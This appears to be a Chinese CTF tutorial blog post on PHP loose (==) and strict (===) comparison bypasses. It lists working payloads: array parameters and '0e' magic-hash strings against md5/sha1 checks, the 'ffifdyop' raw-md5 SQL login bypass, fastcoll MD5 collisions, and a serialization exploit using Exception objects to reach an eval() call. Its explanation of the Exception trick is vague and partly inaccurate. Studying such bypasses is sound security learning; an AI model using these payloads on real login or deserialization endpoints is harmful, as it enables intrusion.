深入浅出PHP强弱比较

鉴于最近打的一个比赛,来了解一下ctf中经常出现的弱等于强等于的问题

PHP弱类型

Q1:二者弱比教

这部分内容自己检索,简要的说==的情况下,左右两边的类型会进行转化。

举个例子来说

<?php
show_source(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
if($a != $b&& md5($a) == md5($b))
echo "you are right!";
else
echo "erro";
?>

如题,需要我们传入的内容不一样,但是MD5加密之后需要相同

常见的做法有两种

方法一:

弱比教数组绕过,payload如下

?a[]=1&b[]=2

先进行数组的比较,1!=2,再md5加密,对于对数组的加密,默认是Null,两者加密之后相同

方法二:

常见的知识积累

?a=240610708&b=s214587387a0

原理是两者MD5加密之后开头都是0e,在php语言中,0e会在php解释为0

以下是常见的一些

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a0

sha1的弱比教类比上面的内容

Q2:自身弱比教

例题如下

<?php
show_source(__FILE__);
$a=$_GET['a'];
if( md5($a) == $a)
echo "you are right!";
else
echo "erro";
?>

只需要md5加密之后等于自己就行

?a=0e215962017

做下记录就行

Q3:登入用户Md5(万能密码)

这个常见于登陆界面

可以参考这个文章,文章

ffifdyop 经过两次转化后得到的结果是 'or'6�]��!r,��b。位于 or 两侧的单引号可以用于闭合两端的单引号,使得 or 不再被 MySQL 认为是字符串,而是一个关键字,发挥着 逻辑或运算符 的作用。

Q4:Md5双层嵌套

md5(md5($a))==md5($a)

列举几个例子

CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

可本地自己测试

PHP强类型

Q1:二者强比较

<?php
show_source(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
if($a != $b&& md5($a) === md5($b))
echo "you are right!";
else
echo "erro";
?>

也可以用数组进行绕过

?a[]=1&b[]=2

Q2:二者强比较(类限制)

当限制在类中无法利用数组,可以尝试md5碰撞,这里推荐工具fastcoll
在这里插入图片描述

然后工具执行

在这里插入图片描述

接下来写一个例题就行比较一下

<?php

$a=file_get_contents("C:\Users\30226\Desktop\ctftool\tools\fastcoll\1.txt");

$b=file_get_contents("C:\Users\30226\Desktop\ctftool\tools\fastcoll\2.txt");

$aa=urlencode($a);
$bb=urlencode($b);
if($aa===$bb)
echo("ok");
else
echo("erro");
echo "</br>";
$aaa=md5($a);
$bbb=md5($b);
if($aaa===$bbb)
echo("ok");
else
echo("erro");

在这里插入图片描述

Q3:MD5和sha1强比较

<?php
show_source(__FILE__);
class cianiao
{
    public $var1;
    public $var2;

    function __construct($var1, $var2)
    {
        $var1 = $var1;
        $var2 = $var2;
    }
    function __destruct()
    {
        echo md5($this->var1);
        echo md5($this->var2);
        if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2))) {
            eval($this->var1);
        }
    }
}
unserialize($_GET['payload']);

这里可以利用php的EXCEPTION异常类进行绕过,exp如下

<?php
class cianiao
{
    public $var1;
    public $var2;
} 

$cmd="phpinfo();?>";
$a = new Exception($cmd);
$b = new Exception($cmd,1);

$tr = new cianiao();
$tr->var1=$a;
$tr->var2=$b;

echo urlencode(serialize($tr));

输入可以进行绕过,原理是采用Exception类绕过md5sha1等哈希函数的强等于(===)检查,因为在特定情况下,PHP的类型转换机制会导致哈希碰撞被误解为相等。这种类型转换的特性可以通过抛出异常并捕获它们来实现。

ps:路径长度和包含的特殊字符(如中文字符)在序列化和反序列化过程中可能会出现编码问题,尤其是在不同环境中(如不同版本的 PHP,不同的操作系统)处理这些路径时,会导致路径解析错误或乱码,从而影响程序的正常执行。因此我的没有显示页面,但是也显示了字符串。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值